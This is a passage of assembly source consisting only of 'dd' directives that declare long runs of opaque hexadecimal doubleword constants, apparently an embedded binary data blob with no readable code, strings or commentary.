		dd 4A165F0Ah, 795B0995h, 9D5C1A73h, 40BE82D7h, 2275767Dh
		dd 92385511h, 0EB4D0C8Bh, 0E9FA2C4h, 0EB4E914Eh, 0F61B29C1h
		dd 2F608A7h, 94154832h,	771A9D45h, 3E485A7Ch, 0FA120810h
		dd 0C69560D1h, 0D4FEB5Fh, 0AA4E6DDAh, 0B26F3CDDh, 8DC01D65h
		dd 880F3217h, 0DA09D672h, 0C1E07A73h, 895E1033h, 0A9A92B0Ah
		dd 7567C89h, 0A9A03797h, 0A72AEDCBh, 0D6172785h, 0DE632D8Eh
		dd 556230FAh, 0FA031439h, 170FDEE2h, 319977EEh,	8B731F9Fh
		dd 0C98748BCh, 561983FBh, 78E130BCh, 3CED8DFh, 95D89FF6h
		dd 0C13F3401h, 0F10B1FE9h, 0AE6177FAh, 470FCD7h, 0D1FAEAFAh
		dd 3F8E14Eh, 50CD2ED1h,	5E3FFB36h, 0ECF92EF2h, 0BE93A30h
		dd 1D8967CEh, 19E7C608h, 0CFFCEAFCh, 9E4056DBh,	5853B75Ah
		dd 36BA93A8h, 5AB0334Fh, 0B5029756h, 8903404Eh,	4539113h
		dd 76080682h, 20FF5751h, 7D8DF3D5h, 0FFA571F0h,	4870E8CCh
		dd 6A8D66FFh, 5EEA3B0Dh, 100295B2h, 429A5A22h, 0C3047697h
		dd 8068BE0Fh, 0E144213Ch, 1C8E00ACh, 3D73CBAh, 1BB675FCh
		dd 0AC395FC8h, 0C9D728C2h, 4C60C123h, 43892810h, 0F69EB8A8h
		dd 0E1F9F5EEh, 5AD289F6h, 0FA818385h, 0FE7326FFh, 0D3EB030Bh
		dd 3EBA51BEh, 96106466h, 3DBAF445h, 16F947C5h, 5EF6E266h
		dd 0A8092EBh, 5C2DF5E7h, 10192671h, 123AA4EEh, 0C0BFB032h
		dd 1CB25A5Eh, 0E85AE827h, 6208B83h, 0D4E040DCh,	0E402D081h
		dd 0EC0FF804h, 23F75EFAh, 3A742097h, 0AA0090Bh,	205E9E7h
		dd 4729E00Dh, 6AE702EBh, 1F8A5E04h, 0BF86BC0h, 77870F16h
		dd 8524AE90h, 0A041F8A8h, 3031FB8Eh, 390A0C7Ch,	0B1B0077Fh
		dd 311DE932h, 891BFF3Ah, 0A2051E3Fh, 9551BF46h,	1E742B03h
		dd 0AFC58D48h, 0D4F988EEh, 0A0F6024Ah, 5B50374Ch, 12CEA4D8h
		dd 0AAA7EB58h, 3421771Bh, 39F9E12h, 57CF0A2h, 0AE7EA514h
		dd 89BE934Bh, 8A22B3B0h, 2D0A3A31h, 307A2CA0h, 0A435240h
		dd 2898E0Fh, 7E450418h,	1C630C12h, 6579867Bh, 13728F30h
		dd 59E9066Ah, 4F3CCFC8h, 0C0340B3Ch, 9A63210h, 92564C2Ch
		dd 6D588C9Ah, 39D1959h,	4714B594h, 6CBFC28Bh, 5F39FD21h
		dd 7E134915h, 0C316C67Eh, 9020B145h, 0FB6811F5h, 0AB0EEB12h
		dd 4A23743Ch, 3F77E5C6h, 73191380h, 21FF8210h, 30EB80EEh
		dd 0ECDE0CBCh, 2FE55A3Ah, 0B7F42A57h, 0B5670B9Ch, 22C23F41h
		dd 1B5A6EF6h, 0DC060DBFh, 6FEF0D75h, 284ACFD4h,	0AFD071F3h
		dd 1CC48D8Fh, 0DA341132h, 4704E88Bh, 82394B9h, 2D660AD4h
		dd 0E9014412h, 5EEFD568h, 6118ED4Dh, 6ECD8D4Eh,	7A94E26Ah
		dd 8D57EB04h, 8C89FE4Fh, 8C58A321h, 0B8C89344h,	0BD8664C4h
		dd 86A17E8h, 0B265EB32h, 5CD91E0h, 0C2F68348h, 0F28C0F67h
		dd 6CA0AF46h, 13C6E98Fh, 30290AEBh, 7F210E7Ch, 58E46A09h
		dd 0B8E94F09h, 757518FDh, 0C1EB2544h, 748DD1D6h, 0DA9BB52Ah
		dd 0DB7EBBFFh, 0B6C0146Ch, 8371CBB4h, 78358FCh,	4489E958h
		dd 8481085Eh, 0CC4F0A3Ch, 0D5977580h, 6FE93B10h, 0DF5E25D2h
		dd 0FF1B881Ah, 0F633AC30h, 0E22F7B95h, 17358E62h, 0B823EF1Ch
		dd 3989FB6h, 1450FE81h,	0C37F7A29h, 515ABE9Ch, 9B625D19h
		dd 18464A3Ch, 0D03847B4h, 2B423B4Fh, 19AC677Ch,	84387E32h
		dd 6A41D9A4h, 20395818h, 150076A8h, 5BB7D80h, 0F7FE037Ch
		dd 0B1C457DAh, 2148F426h, 13F4EB9Fh, 340F1288h,	0BC55A586h
		dd 0C6BD706Bh, 0F237CBE0h, 50C0B302h, 12D6B7CAh, 0DF6AF032h
		dd 0E4160D52h, 0DCE9C933h, 0D7D1550h, 3D8F702h,	0E0149648h
		dd 18109519h, 2B07DC02h, 903D1C82h, 9D307EC2h, 0CBDB1AFDh
		dd 8AB99CBCh, 9C550667h, 6590D4C8h, 0DB336009h,	97F47AB8h
		dd 73C31692h, 2EC4E11h,	3D5EEB0Bh, 0F7BE62F5h, 0DD053E9h
		dd 0A087FEE2h, 0A4E8277Dh, 0E7555A49h, 40C29220h, 0FBC6CAC6h
		dd 9572B5EBh, 96F6E506h, 0AACABF4h, 450493C8h, 3222FA15h
		dd 8617960Fh, 84D1687h,	5FE3010Bh, 0CC067189h, 9AB80259h
		dd 920A4132h, 11A2E9ECh, 7E71A174h, 0C4C0E0F4h,	1EF51709h
		dd 139C44A2h, 8949F640h, 24721293h, 91E148F7h, 0E2985EADh
		dd 0D7AE9D45h, 0BEC813F0h, 894FABF2h, 66B820C9h, 57C9851Dh
		dd 0CC192364h, 0E612E508h, 0E848E724h, 0EA22E991h, 89ECEB44h
		dd 0FBEE11EDh, 3F3FEF01h, 0D02FAFB7h, 4306FEF0h, 4EB2D02h
		dd 0AB869F0Dh, 0D213980Ch, 0B3C21E75h, 7F0F7F1Ah, 83C7152Fh
		dd 31190A23h, 10308h, 65E93004h, 0BC666BFEh, 0B87A1908h
		dd 0C7E9807Bh, 0B88F2EA5h, 0C7F9ACD2h, 2BFCF70Fh, 0B2769F40h
		dd 15421C08h, 74099746h, 0AB728115h, 0E9EE295h,	682EC222h
		dd 0F1A8640h, 76234267h, 38681D18h, 99438D23h, 656011AAh
		dd 0FCAC05D1h, 0D36EE986h, 1D30682Bh, 6C94511h,	0FE18181h
		dd 0CF9420B7h, 0E9002296h, 10C06918h, 4A4CDE4Dh, 9A708EEh
		dd 9FE0F065h, 4E480C8Dh, 0FA55035Eh, 0B14DC96Bh, 0B4F4F67Dh
		dd 4AEDFE01h, 0C1E3E4BCh, 4FE0FE4Bh, 0BF0F13F2h, 503A09C6h
		dd 0C7E88468h, 80E2D9BFh, 0FA7D8166h, 724B3FFFh, 46E42105h
		dd 558E1922h, 0F64C6A44h, 90013157h, 67707433h,	6D14647Dh
		dd 7F7CF003h, 0F1E90817h, 7C2286D6h, 0BC155B83h, 5F5074B6h
		dd 0FA4E7586h, 3F20EAF8h, 81ACFBDEh, 0FD081C89h, 5D2E75CCh
		dd 4D817BF8h, 0F175591Ch, 17DF006Eh, 0E681DEF7h, 7E0A0491h
		dd 6E911D0Dh, 0F3364E32h, 0DAF208F7h, 9A8022A8h, 50587E1Ch
		dd 9C143EFAh, 12E4F075h, 2568A51Ch, 1A27E8ECh, 0CA501BF8h
		dd 809A511h, 0F7A69F61h, 0CFFB164Ch, 9A3D8A13h,	0C257CA8Bh
		dd 4A447A38h, 200A1F04h, 11488F0h, 7AF2B675h, 72628A58h
		dd 0F90080E6h, 44B8D35h, 133B307Ch, 0F40F72C1h,	488806C9h
		dd 0B4F14FEBh, 662C40CEh, 0E388EFFh, 0C92CC32Ah, 540B88h
		dd 6480C008h, 0FC044F18h, 4061A6BAh, 0E99D300Ch, 5B93F498h
		dd 0C8046DD9h, 63258030h, 3AA4FD05h, 97EDFAD3h,	0D8C7D89Dh
		dd 9CB5974h, 90327446h,	28033F41h, 2A400A3Ch, 0D618FE06h
		dd 6E22EB2Eh, 358B21F8h, 28956C14h, 0EB3205B8h,	13101A34h
		dd 42722ACh, 40582718h,	0CFE8571Ah, 9C702DA1h, 0EFE4C070h
		dd 0C380B19h, 83050209h, 75567E62h, 0B641AB46h,	728225BEh
		dd 0D8DF64E8h, 5089F1ECh, 0C175F93Bh, 6F090B09h, 9F1DDAF4h
		dd 255101E4h, 365FC306h, 9F154AE0h, 197F26EAh, 82148C41h
		dd 0E4D50826h, 2839C3BFh, 2B5890A1h, 0D9435D6h,	7D6840EAh
		dd 40148D1Eh, 0A6150EBDh, 30252095h, 0C2062283h, 752F490Ch
		dd 1411D4F7h, 0E274B20h, 0D6447CF9h, 1D6F0EA1h,	0AAEFF766h
		dd 0A134678h, 7B89082Ah, 0DA106BBDh, 0AF2988A3h, 56135B12h
		dd 1CB27CF9h, 0A016421Ch, 0C9503905h, 7DFEF490h, 0FC1409DAh
		dd 24B0C47Eh, 0B24F78F8h, 745709EBh, 1B062365h,	5064EB39h
		dd 27E8821Bh, 95103ABh
		dd 9A1E5014h, 0DC918936h, 2885AF88h, 5D2BA03Eh,	0F8FD5981h
		dd 2612FD2Ah, 0E518412Fh, 18C73B1Fh, 22177659h,	38033C80h
		dd 570F753Dh, 2C2A2D53h, 0CEE84F56h, 0C04C689h,	168D38E1h
		dd 0AE013844h, 3CAE7B64h, 5A4A73E9h, 509DF9E7h,	4C8A1A54h
		dd 9BA77508h, 88969F3Eh, 9D025A4h, 24075BEDh, 0E1E00575h
		dd 350DEB7Fh, 0AF167C81h, 11F71797h, 7629C9F7h,	0A88835Bh
		dd 65872566h, 4A63A803h, 0EBC563B2h, 0D76CE60Ah, 0ACB51AFCh
		dd 0C5668FCCh, 8E160A4Bh, 0D3EC8182h, 26E498BEh, 0F9E60A46h
		dd 0F41BA4Ah, 0C223F833h, 5081CAC8h, 6A667EE7h,	12C3243Dh
		dd 0FE84201h, 0B4E4B883h, 22F98136h, 0FAD4316h,	64BFFDFAh
		dd 0A167A287h, 8B04773Fh, 8E3AEBA6h, 258ABBADh,	95D87F02h
		dd 5615C197h, 2C62606Ch, 8C414639h, 0C0D5D60Bh,	0DA6FE9F6h
		dd 0C97D205Bh, 1F421EB1h, 39160153h, 113A9D43h,	0DA170357h
		dd 62B237EBh, 0E25FE906h, 0A2E7D1B8h, 0D4F89798h, 62050C22h
		dd 0C003208Bh, 28B6585Dh, 98EA497Eh, 0E2084E8Fh, 89BD7EDEh
		dd 5113FD76h, 0D012186Bh, 906CE7Ch, 18C1AFC6h, 0F383FC3Ah
		dd 0FF505101h, 0F39CE831h, 6CB037Dh, 18FC9629h,	0A10256B3h
		dd 0C0D2F46Dh, 6675E8E3h, 12FC1AC8h, 0C18B0D9h,	9C7F5940h
		dd 292A081h, 2E88B9C0h,	257E0B52h, 80E7BE82h, 0B1FEC58Bh
		dd 0D68FD446h, 1120C93Bh, 48E27F1Eh, 16A63907h,	2B9A0E8Bh
		dd 1E50E5E3h, 0ACE0192h, 0DC7CB98Bh, 2325FDE2h,	0C14148ECh
		dd 0AD0C4B97h, 97EC4EEAh, 38D71F44h, 7978341Dh,	970F7728h
		dd 5D106FF9h, 1A3D36F1h, 3575330Ah, 67F7DE42h, 6A65672Ch
		dd 0E2323DAAh, 0DC0E1D14h, 51E65733h, 31574146h, 7A0E0FB9h
		dd 0D2E6252h, 7DDB10CAh, 46E25BF4h, 338BDE24h, 1B73A7A8h
		dd 0D3FB47EDh, 89E1C70Bh, 3B10A80Eh, 0C024E32h,	1E0606E4h
		dd 8EEBD9A1h, 89DFF736h, 8D2A55FFh, 712E25D7h, 8908C7CDh
		dd 2268364h, 0DF087E68h, 53022AC7h, 0CBAA10BBh,	0EBB1FF6Bh
		dd 16203960h, 7D632F74h, 70BBC2A1h, 0F72886ABh,	881489D8h
		dd 51751017h, 9DFF7106h, 56412202h, 0C3832257h,	4284B862h
		dd 7CBC203h, 277466C0h,	170B8D4Ah, 0C2BA8D81h, 72D59131h
		dd 357DD830h, 0B02A5F4h, 0C1D0F664h, 9199F6B5h,	22C35E72h
		dd 577F7EC9h, 0D44B7CC3h, 5D4093E5h, 0CF64EAEDh, 0D6966BFh
		dd 7E758BB5h, 0B81C711h, 7BFB9FDh, 6FE5B92Fh, 0FEDDDE5Ah
		dd 58A9646Dh, 0E1D3BC8Bh, 0E026B53h, 0E24E74C7h, 0BF11D4B8h
		dd 0EB6A03E4h, 98837486h, 3BE81684h, 55530EEFh,	8D5B0DC5h
		dd 7E883FB1h, 553EC62Fh, 36E24250h, 87DA22AAh, 0A8B97697h
		dd 0D5D295AEh, 6BB58A90h, 755713C0h, 9A26FDB8h,	130FDCDCh
		dd 8F62AEF5h, 30911F1Ch, 0FD2FB93h, 81EAD6B9h, 5740755Fh
		dd 81D43AB8h, 0E0B08813h, 81517FFh, 82DCED10h, 26B9203Dh
		dd 98103A23h, 0CA243B1h, 3CE25D1Ah, 0C1888229h,	0EA133421h
		dd 0F33B65D0h, 0A4104E7Eh, 0FA27E8F1h, 0F45A2B01h, 39148312h
		dd 2A5E1C5Dh, 0E81572F3h, 0A4B17E3h, 2535A104h,	481B5AE9h
		dd 67BF561Ah, 897A3BF2h, 0F255ADA7h, 899D781Ah,	0F1CE7E5Dh
		dd 974C663h, 9834A765h,	575B35FBh, 788DF079h, 927D27A1h
		dd 44EC07D2h, 133B6C28h, 0B417FF7h, 0BFCC4D3h, 0B1119862h
		dd 194451AFh, 0B800A212h, 7202C47Dh, 0CA3EC322h, 74995D38h
		dd 0BC16B1Ah, 842FD33Ah, 0A732871Ah, 72089109h,	76CAF404h
		dd 5240AD2Dh, 0FCE64FA3h, 0BEA529ACh, 7B313115h, 209D468Eh
		dd 72184396h, 0BF860F80h, 35888D72h, 7A67E9E2h,	0D11A5317h
		dd 0FF096A42h, 0BAB23214h, 4A6B29B7h, 2C68F6EAh, 4B592723h
		dd 0FC58CE8Bh, 0A16F187h, 554CDB34h, 9C555412h,	78DC8507h
		dd 1AFD8A93h, 575C06DAh, 358B21B7h, 6A34C42Dh, 0C849E479h
		dd 88D64474h, 2B92E07Ah, 0F6E1615Fh, 2942CA7Eh,	65BD6F5Fh
		dd 6CFED82Ah, 0F6E5DB42h, 0FB680933h, 1B882D74h, 0F2F66B4Ch
		dd 2EAF16D1h, 736E59DBh, 0B4A2BAB8h, 12FE943Eh,	8540D008h
		dd 8D2656D2h, 0D17AC4Ah, 4A80ED84h, 4BF18B40h, 0F3C00C49h
		dd 5EC5E1Bh, 503F2B6Ch,	0DD3B7C2h, 0F5666AADh, 6AC6000Fh
		dd 0E817B73Dh, 0B0A3022Dh, 3F2BF726h, 4AF8F82Fh, 257E26DDh
		dd 0A9E5A8A1h, 0FFB402Fh, 1AC34B94h, 697D1D98h,	52329B96h
		dd 901CA328h, 5475342Eh, 19ECC388h, 21713DAAh, 8AE81102h
		dd 99C4DDFCh, 0B9A73E5Eh, 16DF3B13h, 6AE7E536h,	58ADD9F0h
		dd 39D16057h, 89DF7405h, 75342138h, 92379113h, 0C43345D1h
		dd 0FC142B36h, 55283D8Bh, 381A634Bh, 419E53D0h,	437CCCCCh
		dd 483F8332h, 373703Eh,	0B734FF32h, 0E8993C8Dh,	59632407h
		dd 2B0B15A1h, 5F46FA82h, 0EB3DD572h, 74C6AFF0h,	0F0764976h
		dd 0D16ECC0Bh, 3C74826Fh, 235535EBh, 0C3B70484h, 757C1A32h
		dd 0E8F0987Ah, 2DA9DE48h, 8255A9B5h, 9AA4E865h,	40F68428h
		dd 834CF5BFh, 83B00C54h, 85049B64h, 7A4B134h, 8B48EF74h
		dd 77564C0Dh, 0DE3C0694h, 660BF65Ah, 0FC312EB4h, 550433E8h
		dd 2BF3C623h, 0B95C874h, 0ECF703Eh, 1BDBF740h, 23D3045Dh
		dd 159AD1D8h, 6E916E04h, 0E9525BE8h, 0B55FD059h, 639CD852h
		dd 4E31C4E9h, 0B5C9D72Dh, 765CC50h, 0FA7FB4Eh, 8A380D30h
		dd 3C2E3804h, 84197F3Dh, 79761A46h, 0CED72F66h,	3C052B28h
		dd 0D5F8C127h, 2DC31625h, 0BAFB0410h, 85C94230h, 893694FFh
		dd 1A24C35Fh, 7418808Dh, 104B8B0Ah, 7B7844B5h, 5553F60Ah
		dd 0E80435F6h, 0C618CA54h, 0DFEEAA53h, 762DA890h, 27055D8Ah
		dd 139441DFh, 20C38350h, 53C0879Ch, 38B0689h, 0EBF9C459h
		dd 3F18B1E9h, 5F2F83B2h, 75C2CAD1h, 1A9F6C0Fh, 7B6902E8h
		dd 0AB4662DDh, 7484F83Dh, 3A89CC01h, 6EB7D010h,	0B0F798A8h
		dd 97D2970Eh, 0C07B86B7h, 0F43AF12Eh, 3926C24Bh, 110F3E45h
		dd 0D02439EBh, 14BE55E9h, 0C6A5413Dh, 868DEA27h, 29D20AFFh
		dd 0C22B4181h, 0F04BC93Dh, 5D4AC1ACh, 14B165AEh, 8717490Eh
		dd 122AE254h, 0DD725559h, 83CCA20Bh, 7C7F8953h,	28CC6544h
		dd 0A024B801h, 0E8047B0Bh, 55905C36h, 258A30ECh, 23F5F345h
		dd 0CF88E0FFh, 4616E831h, 24BE8720h, 42991C78h,	50275437h
		dd 38ED338Dh, 93DF2DADh, 4D06E418h, 75BC4CC4h, 0A868034Fh
		dd 5052191Fh, 936C12C7h, 0B6A9E863h, 0B4B85E0Ah, 5BDC085Ah
		dd 484D5026h, 50F17B51h, 0DEEC3F60h, 0B188844Ah, 2D034843h
		dd 8C4D0288h, 8AEE0C7Eh, 0CF02037Eh, 9FE80788h,	35260E45h
		dd 1ED38F98h, 3C1AD8A9h, 0A6702044h, 8C06C714h,	38C62C13h
		dd 57EBD9A6h, 42F7BF62h, 5F2A08Eh, 9D1258B8h, 1CA73075h
		dd 0E496A051h, 786743E8h, 20186811h, 0D571627Eh, 8E91C8B8h
		dd 0C46A094Eh, 0F0870ACCh, 2F7E4851h, 0C4EB880h, 0F0D627E8h
		dd 57CE7362h, 0E7CA5D52h, 0C3C6695Eh, 0BBE82665h, 2D7A5F8h
		dd 55740190h, 5B254182h, 0D12BC611h, 41DCB80Dh,	145AF559h
		dd 6F0CA2BEh, 0E8BF1858h, 8A8BC25Eh, 61890C43h,	0E2F4290Eh
		dd 0BFC4E0D0h, 465C7844h, 0F0B8F143h, 12985D42h, 7108B61Fh
		dd 0A375944h, 2AF21094h, 0F3A69B3Ah, 0D3554261h, 52429E23h
		dd 39D2165Ah, 218D8BACh, 0D2E2A941h, 0A2B9EB23h, 220A450Ch
		dd 43EAA12Ch, 0B18AC12h, 0C888552h, 0FDEAF044h,	0D010C6FFh
		dd 0A0428C20h, 8A01D410h, 0B00A5A18h, 21D6E859h, 4F624389h
		dd 62C81501h, 17914BFh
		dd 426ABCE8h, 0FE39B159h, 8485A008h, 0F12405F6h, 15EB7C0Dh
		dd 4B090D80h, 2A8558AFh, 888ECCC0h, 0C50CE909h,	0ACC6682Bh
		dd 0D8E80C9Bh, 0A4C3A75Ch, 7FCC430Ch, 0CD82527h, 8A540CE3h
		dd 505F8212h, 0BF82853Fh, 0FDC95821h, 91F16699h, 0B04EC8FCh
		dd 5058CD9Bh, 460BCABAh, 4983DC25h, 2E0ABD86h, 4FC522C4h
		dd 46C70B5Fh, 284968DCh, 95543D26h, 5CDBA9F0h, 2574A966h
		dd 0E8C60F6Eh, 0C3844874h, 0D913385Bh, 557C2431h, 5810F849h
		dd 4A3168F6h, 0C1FF8364h, 4001C725h, 0FF097446h, 467C7165h
		dd 0A983A225h, 5D8CD541h, 911C45D0h, 0AC4FE83Eh, 5107C461h
		dd 7C39AB87h, 12DB684Fh, 0D5D68E3h, 0F525DBA7h,	574BDA94h
		dd 0F0BE1F81h, 85557DA7h, 81F6A5CCh, 0F45FE45Bh, 4095C69Fh
		dd 0D1B7E0E4h, 908DA0AEh, 0CC8A81F5h, 16C8CA20h, 523F8BE9h
		dd 83380E17h, 2949014Bh, 0CD313B08h, 2D9775E9h,	1EB308C3h
		dd 543E903Dh, 5867C059h, 555FB414h, 576278FEh, 84CCB811h
		dd 0C337211Dh, 19211F1Ch, 0BD90A415h, 0E3203728h, 1B011442h
		dd 5AECA43Dh, 0E0B8A691h, 53ED1441h, 14CCF018h,	442829FEh
		dd 0BD85D920h, 10502142h, 44A8B7C5h, 1AB12278h,	3ED36402h
		dd 2B14F42Eh, 42BD289Dh, 22210811h, 15FE189h, 26D8F0BEh
		dd 64F4E002h, 48E2082Ah, 22C091D0h, 82A044B0h, 5E126E89h
		dd 3A484C24h, 1C222C91h, 40F00A44h, 0BE89D829h,	0B2237411h
		dd 24920961h, 91C848ACh, 44EE22DEh, 24400CF6h, 12268918h
		dd 48462432h, 226A9154h, 9E8E447Ch, 0BC12AE89h,	0DE48D224h
		dd 1010F691h, 44202225h, 5C894432h, 9C247412h, 0C491B448h
		dd 0EA44D622h, 530C89FCh, 9221AD4h, 523C442Ch, 6E126089h
		dd 9C488024h, 0C222B291h, 88FAE844h, 1C81270Eh,	42242C12h
		dd 5E915048h, 82446C22h, 12A4898Eh, 48C624B4h, 22E891D2h
		dd 281020FCh, 89362244h, 244E1242h, 9174485Ah, 44922284h
		dd 0C489B6A4h, 0EC24DE12h, 888FA48h, 7F181129h,	46123A89h
		dd 66485624h, 7C227291h, 8AA48844h, 6740106h, 9738032h
		dd 480A2415h, 220D9102h, 16344401h, 97121289h, 9480B24h
		dd 4221791h, 89131044h,	8A1403h, 54454703h, 48932F20h
		dd 605067AFh, 0D302E31h, 6F090A7Ah, 0E3A7473h, 4114B86Dh
		dd 0FA68F275h, 7A691D72h, 6177FA61h, 654E266Eh,	146EFB67h
		dd 681DF51Ah, 1C614004h, 78571C7h, 4A553F8Ch, 6708C501h
		dd 64B489F5h, 7309600h,	0E612C77h, 51BA01EEh, 0C4199909h
		dd 0F48FF46Dh, 35706A00h, 0A3E963A5h, 9E640095h, 0EDB8832h
		dd 0DC1FB8A4h, 0D58F1E79h, 0D2D960E0h, 4C2B97h,	7CBD09B6h
		dd 2D077EB1h, 91E7B800h, 6490BF1Dh, 0B77610h, 6AB020F2h
		dd 0F3B97148h, 0BE41DE00h, 0DAD47D84h, 0E4EB031Ah, 0B5516DDDh
		dd 85C7F4C8h, 5683D300h, 0C0136C98h, 646B00A8h,	0FD62F97Ah
		dd 6500C9ECh, 15C4F8Ah,	386CD914h, 3D806306h, 0DF5FA0Fh
		dd 0C8008D08h, 5E3B6E20h, 4C6910h, 0D56041E4h, 0A2677172h
		dd 300D179h, 4D4473Ch, 85FD4Bh,	0B56BD20Dh, 0A8FAA50Ah
		dd 6C0035EAh, 0D642B298h, 7DBBBC9h, 0ACBCF940h,	32D8D0E3h
		dd 0DF005C75h, 0D60DCF45h, 13D59DCh, 30ACABD1h,	203A26D9h
		dd 807251B2h, 16C8D700h, 0B5BFD061h, 21B400F4h,	56B3C423h
		dd 0BA019599h, 0BDA50FCFh, 2C89EB8h, 88080028h,	0D9B25F05h
		dd 2400C60Ch, 87B10BE9h, 2F6F7Ch, 58684C11h, 0C1611DABh
		dd 662D3D00h, 0DC4190B6h, 71060076h, 20BC01DBh,	2A0198D2h
		dd 89EFD510h, 1FF8B185h, 6B600B5h, 9FBFE4A5h, 0B800D433h
		dd 7C9A2E8h, 9FF93478h,	0A80067F0h, 98189609h, 0BBE10Eh
		dd 2D7F6A0Dh, 97086D3Dh, 91646C00h, 0E6635C01h,	6B5138F4h
		dd 4061629Fh, 6530D81Ch, 0E8E14E85h, 953EEDF2h,	0A57B8006h
		dd 0F4C11B01h, 57820008h, 0C6F50FC4h, 6500B0D9h, 12B7E950h
		dd 0BEB8EAh, 0B9887C8Bh, 0DD1DDFFCh, 2D496203h,	0E8F315DAh
		dd 658CD3h, 58FBD44Ch, 0CE4DB261h, 3A4C2D90h, 0A3BC0038h
		dd 0D4BB30E2h, 0DFA50341h, 0D895D74Ah, 0D1C4C400h, 0D6F4FBA4h
		dd 0E96A00D3h, 0D9FC4369h, 4600346Eh, 0D0AD6788h, 0DA60B8h
		dd 44042D73h, 33031DE5h, 0A4C5F00h, 0D7CC9AAh, 713C0FDDh
		dd 41215005h, 0C4102702h, 8600BE0Bh, 25C90C20h,	1E5768B5h
		dd 806F85B3h, 0B966D409h, 6100E49Fh, 0DEF90ECEh, 1DC9985Eh
		dd 402229D9h, 0A8B4B0D0h, 1703C7D7h, 8159B33Dh,	3B2ED00Dh
		dd 0B7BD055Ch, 0FBBA6CADh, 0EDB88900h, 1DBFB3B6h, 9DE20C9Ah
		dd 0B1D24003h, 0D5473974h, 77AFEA1Eh, 26159D40h, 8304DBh
		dd 1273DC16h, 84E3630Bh, 94643B00h, 0D6D6A3Eh, 7F5A75A8h
		dd 0ECF007Ah, 9FF9DE4h,	0AE5C2793h, 9EB10363h, 0D0447D07h
		dd 0D2F00Fh, 688708A3h,	0FE1E01F2h, 6906C200h, 0F762575Dh
		dd 656700CBh, 6C367180h, 6BFEE719h, 1B766E02h, 0FDE0FED4h
		dd 7A5A23E0h, 0CC10DA04h, 0A4C0DD4Ah, 0E2F9B9DFh, 8EBE1CEFh
		dd 17B7C743h, 60B060D5h, 0D671A3E8h, 0D1937E00h, 0D8C2C4A1h
		dd 0F2520138h, 67F14FDFh, 5798F7BBh, 0DD00A6BCh, 4B3FB506h
		dd 48B236h, 0D80D2BDAh,	0AF0A1B4Ch, 34AF61Fh, 47A6080h
		dd 0ECEFC341h, 3B5572DFh, 8E80A867h, 0BE79316Eh, 8C004669h
		dd 1ACB61B3h, 0BC6683h,	256FD2A0h, 5268E236h, 0C779500h
		dd 0B4703CCh, 16B900BBh, 262F2202h, 0BE075505h,	28C5BA3Bh
		dd 92B2BDF0h, 2BB4005Ah, 5CB36A04h, 0D700FFA7h,	0D0CF31C2h
		dd 19E8BB5h, 0AE1D2CD9h, 0F8B05BDEh, 26009B64h,	9CEC63F2h
		dd 1756AA3h, 26D930Ah, 0EC0906A9h, 0E00363Fh, 76785EBh
		dd 0E0571372h, 4A820005h, 7A1495BFh, 0AE00E2B8h, 387BB12Bh
		dd 0CB61Bh, 92D28E9Bh, 0E5D5BE0Dh, 0DCEFB700h, 0DBDF217Ch
		dd 0ED47F0Bh, 0E24286D3h, 0B3F8F1C0h, 6E0068DDh, 0CD1FDA83h
		dd 81BE16h, 0F6B9265Bh,	6FB077E1h, 0B70947E6h, 805AE618h
		dd 0F6A707Eh, 3BCA00FFh, 0B5C6606h, 9EF21101h, 698F6501h
		dd 0D3F862AEh, 98616BE4h, 166C00C5h, 0A00AE278h, 0D00D2EEh
		dd 48354D7h, 0B3C24Eh, 26613903h, 16F7A767h, 4DD06000h
		dd 0DB496947h, 3E6E0077h, 0AED16A4Ah, 0D6005ADCh, 0DF0B66D9h
		dd 1F3BF040h, 805337D8h, 9EC5A9BCh, 7F00DEBBh, 0E947B2CFh
		dd 1C30B5FFh, 43BDF21Ch, 0CABAC28Ah, 53B393C8h,	0B4A3A601h
		dd 0D0360524h, 0D706D8F7h, 572900CDh, 67BF54DEh, 2E0023D9h
		dd 0B8B3667Ah, 0C4614Ah, 5D681B02h, 2A6F2B94h, 0BBE3700h
		dd 0C8EA1B4h, 2DFFEC3h,	0EF8D5A05h, 2EC2D02h, 0A210505Ch
		dd 0F00790BFh, 3FF613Fh, 0C0417BEFh, 8CE7C03h, 0C9071A06h
		dd 1CB710C1h, 7302D710h, 2214504h, 30350D05h, 202F0074h
		dd 58F03828h, 1C080738h, 575E3037h, 3F216E7Ch, 60EA1728h
		dd 3D96872h, 78C57012h,	45EE03BFh, 8DBF3C1Bh, 541F30Fh
		dd 0C128C10Fh, 0C175C16Eh, 2905956Ch, 0FE283F7Ah, 1738FBFBh
		dd 4C47835Fh, 0A741424Fh, 0AB454883h, 0AF53EB50h, 5443E7DEh
		dd 180F44A5h, 6F56AF4Dh, 1EA49152h, 6E79CC38h, 8A3109h
		dd 65726694h, 29706F78h, 646F6D02h, 79681CA3h, 1174A6FFh
		dd 6261630Dh, 0BB312173h, 3F912009h, 17506866h,	716C104Ch
		dd 6372446Fh, 7069653Dh, 0DF617488h, 366F1BA8h,	0D810FD97h
		dd 43FF7271h, 2B296114h, 10A20832h, 7E3C42D1h, 0CA344BD0h
		dd 2F340868h, 2C2F085Ah
		dd 2967B608h, 28083031h, 0E11A900Fh, 0EBB78254h, 17EC0C0h
		dd 11D34150h, 473C6BF8h, 0A73491Fh, 3B896F72h, 4692A177h
		dd 75DA28DBh, 1C20DBD3h, 85906ED2h, 5228454Bh, 3328F94Eh
		dd 651C3532h, 4579302Bh, 408CB048h, 9DC96AFh, 8A01029h
		dd 10B11229h, 10B0F00Ch, 1808D1FAh, 10B34219h, 2894D246h
		dd 0AD19A467h, 7DD0384Ah, 69668CB4h, 8E086D11h,	22D34718h
		dd 18C368BFh, 20035ABDh, 203AC749h, 312C524Dh, 0C80111FDh
		dd 7572088Ah, 6D6903B3h, 9A972065h, 0C9763ECFh,	0D6075450h
		dd 490E1A53h, 49FAA444h, 0F474E29h, 4F44026Eh, 4EFC854Dh
		dd 0C521228h, 38323036h, 206A2D12h, 6C19A690h, 0DB717490h
		dd 0A62D5247h, 7A76E7F7h, 0F068731Ch, 8138A470h, 6E083728h
		dd 7CD8EA90h, 7B67750Ah, 70732468h, 6648339Eh, 7776F150h
		dd 0D2396952h, 380A33C9h, 446F8D73h, 216F6474h,	5D701235h
		dd 6976499Bh, 441B1E8Fh, 63A66840h, 6DCF24A3h, 5243FB1Ah
		dd 60342928h, 56A45FF9h, 2FBA3309h, 407B241h, 71E324DDh
		dd 5E393160h, 707772F8h, 4364B3DAh, 0C3214813h,	2C94E86Fh
		dd 4B3238B2h, 821D9D57h, 1A356492h, 24025869h, 6D583E37h
